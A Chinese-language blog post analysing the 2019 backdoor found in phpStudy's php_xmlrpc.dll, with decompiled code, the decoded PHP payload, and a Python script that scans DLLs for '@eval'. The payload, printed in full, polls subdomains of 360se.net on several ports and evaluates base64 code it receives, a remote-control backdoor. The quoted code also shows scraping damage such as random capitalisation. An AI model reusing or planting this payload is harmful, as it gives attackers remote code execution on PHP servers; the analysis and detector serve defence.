概述

2019.9.20得知非官网的一些下载站中的php study版本存在后门文件说是官网下的就没有后门 20号出现的新闻今天php study官网21号又更新一波不太好说这是什么操作哦此地无银三百两？很开心的说我以前的虚拟机装的应该是有后门版本(任何文件我从来都是官网下文件) 用chamd5的检测py 哎~~学个php都

2019.9.20得知非官网的一些下载站中的PHP study版本存在后门文件说是官网下的就没有后门

@H_197_29@

20号出现的新闻今天PHP study官网21号又更新一波不太好说这是什么操作哦此地无银三百两？

很开心的说我以前的虚拟机装的应该是有后门版本(任何文件我从来都是官网下文件) 用chamd5的检测py

哎~~学个PHP都被搞哦跟着大佬团队文章也动手找找后门把

chamd5团队老哥发现是PHP_xmlrpc.dll中的问题直接站人家肩膀把看看这个dll

PHP_xmlrpc.dll @eval函数

.data:1000DE98

gzuncompress函数解密执行payload 以前websHell大马免杀经常用的函数- -

.data:1000DE98 函数sub_10003490

145-177行:

    while ( 1 )
    {
      if ( *(_DWORD *)v13 == 39 )
      {
        v10[v12] = 92;
        v43[v12 + 1] = *v11;
        v12 += 2;
        v13 += 8;
      }
      else
      {
        v10[v12++] = *v11;
        v13 += 4;
      }
      v11 += 4;
      if ( (signed int)v11 >= (signed int)asc_1000C66C )
        break;
      v10 = v43;
    }
    spprintf(&v43,0,a_evalSS,aGzuncompress,v43);
    v24 = *(_DWORD *)(*a3 + 4 * executor_globals_id - 4);
    v25 = *(_DWORD *)(v24 + 296);
    *(_DWORD *)(v24 + 296) = &v33;
    v40 = v25;
    v26 = setjmp3(&v33,0);
    v27 = v40;
    if ( v26 )
    {
      v28 = a3;
      *(_DWORD *)(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 296) = v40;
    }
    else
    {

这里@eval gzuncompress(‘%s‘)进行拼接，调用gzuncompress方法解密执行payload，以前websHell大马免杀经常用的函数，上面也看到了函数地址

而gzuncompress解密前的代码是这里的v43

下面是zend_eval_String处执行v43处gzuncompress编码的代码

@H_301_297@

    }
    else
    {
      v28 = a3;
      zend_eval_String(v43,0,&byte_10011B34,a3);
    }
    *(_DWORD *)(*(_DWORD *)(*v28 + 4 * executor_globals_id - 4) + 296) = v27;
    if ( dword_1000c010 < 3600 )
      dword_1000c010 += 3600;
    ftime(&dword_10011D50);
  }

v43处执行的代码通过解码:

@ini_set("display_errors","0");
error_reporTing(0);
$h = $_SERVER[‘http_HOST‘];
$p = $_SERVER[‘SERVER_PORT‘];
$fp = fsockopen($h,$p,$errno,$errstr,5);
if (!$fp) {
} else {
    $out = "GET {$_SERVER[‘SCRIPt_name‘]} http/1.1\r\n";
    $out .= "Host: {$h}\r\n";
    $out .= "Accept-Encoding: compress,gzip\r\n";
    $out .= "Connection: Close\r\n\r\n";

    fwrite($fp,$out);
    fclose($fp);
}

拼接后v43后解密的代码明显的fsockopen通信反弹后门到360se.net的20123端口

@ini_set("display_errors","0");
error_reporTing(0);
function tcpGet($sendMsg = ‘‘,$ip = ‘360se.net‘,$port = ‘20123‘){
    $result = "";
  $handle = stream_socket_client("tcp://{$ip}:{$port}",10); 
  if( !$handle ){
    $handle = fsockopen($ip,intval($port),5);
    if( !$handle ){
        return "err";
    }
  }
  fwrite($handle,$sendMsg."\n");
    while(!feof($handlE)){
        stream_set_timeout($handle,2);
        $result .= fread($handle,1024);
        $info = stream_get_Meta_data($handlE);
        if ($info[‘timed_out‘]) {
          break;
        }
     }
  fclose($handlE); 
  return $result; 
}

$ds = array("www","bbs","cms","down","up","file","ftp");
$ps = array("20123","40125","8080","80","53");
$n = false;
do {
    $n = false;
    foreach ($ds as $d){
        $b = false;
        foreach ($ps as $p){
            $result = tcpGet($i,$d.".360se.net",$p); 
            if ($result != "err"){
                $b =true;
                break;
            }
        }
        if ($b)break;
    }
    $info = explode("<^>",$result);
    if (count($info)==4){
        if (strpos($info[3],"/*Onemore*/") !== false){
            $info[3] = str_replace("/*Onemore*/","",$info[3]);
            $n=true;
        }
        @eval(base64_decode($info[3]));
    }
}while($n);

检查脚本来自chamd5团队脚本，在PHP study目录下执行即可递归检查

# -*- coding:utf8 -*-
__author__=‘[email protected]‘
__blog__=‘http://pcat.cc‘

import os
import String
import re


def Strings(filE) :
    chars = String.printable[:94]
    shortestReturnChar = 4
    regExp = ‘[%s]{%d,}‘ % (chars,shortestReturnChar)
    pattern = re.compile(regExp)
    with open(file,‘rb‘) as f:
        return pattern.findall(f.read())


def grep(lines,pattern):
    for line in lines:
        if pattern in line:
            yield line


def pcheck(fileName):
    # trojan feature
    trojan=‘@eval‘
    # just check dll file
    if filename.endswith(‘.dll‘):        
        lines=Strings(fileName)
        try:
            grep(lines,trojan).next()
        except:
            return
        print ‘=== {0} ===‘.format(fileName)
        for line in grep(lines,trojan):
            print line
    pass


def foo():
    # . stand for current directory
    for path,dirs,files in os.walk(".",topdown=falsE):
        for name in files:
            pcheck(os.path.join(path,Name))
        for name in dirs:
            pcheck(os.path.join(path,Name))
    pass


if __name__ == ‘__main__‘:
    foo()